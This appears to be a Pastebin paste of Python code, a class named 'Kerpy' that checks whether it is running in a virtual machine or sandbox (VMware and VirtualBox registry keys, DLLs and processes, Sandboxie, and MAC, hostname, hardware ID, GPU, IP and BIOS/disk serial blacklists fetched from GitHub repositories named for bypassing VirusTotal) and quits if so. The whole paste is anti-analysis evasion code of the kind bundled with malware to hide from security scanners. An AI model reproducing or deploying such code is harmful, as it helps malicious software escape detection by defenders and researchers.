Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import re
- import uuid
- import wmi
- import requests
- import os
- import ctypes
- import sys
- import subprocess
- import socket
- def get_base_prefix_compat():
- return getattr(sys, "base_prefix", None) or getattr(sys, "real_prefix", None) or sys.prefix
- def in_virtualenv():
- return get_base_prefix_compat() != sys.prefix
- class Kerpy:
- def registry_check(self):
- cmd = "REG QUERY HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Class\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000\\"
- reg1 = subprocess.run(cmd + "DriverDesc", shell=True, stderr=subprocess.DEVNULL)
- reg2 = subprocess.run(cmd + "ProviderName", shell=True, stderr=subprocess.DEVNULL)
- if reg1.returncode == 0 and reg2.returncode == 0:
- print("VMware Registry Detected")
- sys.exit()
- def processes_and_files_check(self):
- vmware_dll = os.path.join(os.environ["SystemRoot"], "System32\\vmGuestLib.dll")
- virtualbox_dll = os.path.join(os.environ["SystemRoot"], "vboxmrxnp.dll")
- process = os.popen('TASKLIST /FI "STATUS eq RUNNING" | find /V "Image Name" | find /V "="').read()
- processList = []
- for processNames in process.split(" "):
- if ".exe" in processNames:
- processList.append(processNames.replace("K\n", "").replace("\n", ""))
- if "VMwareService.exe" in processList or "VMwareTray.exe" in processList:
- print("VMwareService.exe & VMwareTray.exe process are running")
- sys.exit()
- if os.path.exists(vmware_dll):
- print("Vmware DLL Detected")
- sys.exit()
- if os.path.exists(virtualbox_dll):
- print("VirtualBox DLL Detected")
- sys.exit()
- try:
- sandboxie = ctypes.cdll.LoadLibrary("SbieDll.dll")
- print("Sandboxie DLL Detected")
- sys.exit()
- except:
- pass
- processl = requests.get("https://raw.githubusercontent.com/Lawxsz/bypass-virus-total/main/utils/process.txt").text
- if processl in processList:
- sys.exit()
- def mac_check(self):
- mac_address = ':'.join(re.findall('..', '%012x' % uuid.getnode()))
- mac_list = requests.get("https://raw.githubusercontent.com/6nz/virustotal-vm-blacklist/main/mac_list.txt").text
- if mac_address[:8] in mac_list:
- print("VMware MAC Address Detected")
- sys.exit()
- def check_pc(self):
- vmname = os.getlogin()
- vm_name = requests.get("https://raw.githubusercontent.com/6nz/virustotal-vm-blacklist/main/pc_name_list.txt").text
- if vmname in vm_name:
- sys.exit()
- vmusername = requests.get("https://raw.githubusercontent.com/6nz/virustotal-vm-blacklist/main/pc_username_list.txt").text
- host_name = socket.gethostname()
- if host_name in vmusername:
- sys.exit()
- def hwid_vm(self):
- current_machine_id = str(subprocess.check_output('wmic csproduct get uuid'), 'utf-8').split('\n')[1].strip()
- hwid_vm = requests.get("https://raw.githubusercontent.com/6nz/virustotal-vm-blacklist/main/hwid_list.txt").text
- if current_machine_id in hwid_vm:
- sys.exit()
- def checkgpu(self):
- c = wmi.WMI()
- for gpu in c.Win32_DisplayConfiguration():
- GPUm = gpu.Description.strip()
- gpulist = requests.get("https://raw.githubusercontent.com/6nz/virustotal-vm-blacklist/main/gpu_list.txt").text
- if GPUm in gpulist:
- sys.exit()
- def check_ip(self):
- ip_list = requests.get("https://raw.githubusercontent.com/6nz/virustotal-vm-blacklist/main/ip_list.txt").text
- reqip = requests.get("https://api.ipify.org/?format=json").json()
- ip = reqip["ip"]
- if ip in ip_list:
- sys.exit()
- def profiles():
- machine_guid = uuid.getnode()
- guid_pc = requests.get("https://raw.githubusercontent.com/6nz/virustotal-vm-blacklist/main/MachineGuid.txt").text
- bios_guid = requests.get("https://raw.githubusercontent.com/6nz/virustotal-vm-blacklist/main/BIOS_Serial_List.txt").text
- baseboard_guid = requests.get("https://raw.githubusercontent.com/6nz/virustotal-vm-blacklist/main/BaseBoard_Serial_List.txt").text
- serial_disk = requests.get("https://raw.githubusercontent.com/6nz/virustotal-vm-blacklist/main/DiskDrive_Serial_List.txt").text
- if machine_guid in guid_pc:
- sys.exit()
- w = wmi.WMI()
- for bios in w.Win32_BIOS():
- bios_check = bios.SerialNumber
- if bios_check in bios_guid:
- sys.exit()
- for baseboard in w.Win32_BaseBoard():
- base_check = baseboard.SerialNumber
- if base_check in baseboard_guid:
- sys.exit()
- for disk in w.Win32_DiskDrive():
- disk_serial = disk.SerialNumber
- if disk_serial in serial_disk:
- sys.exit()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement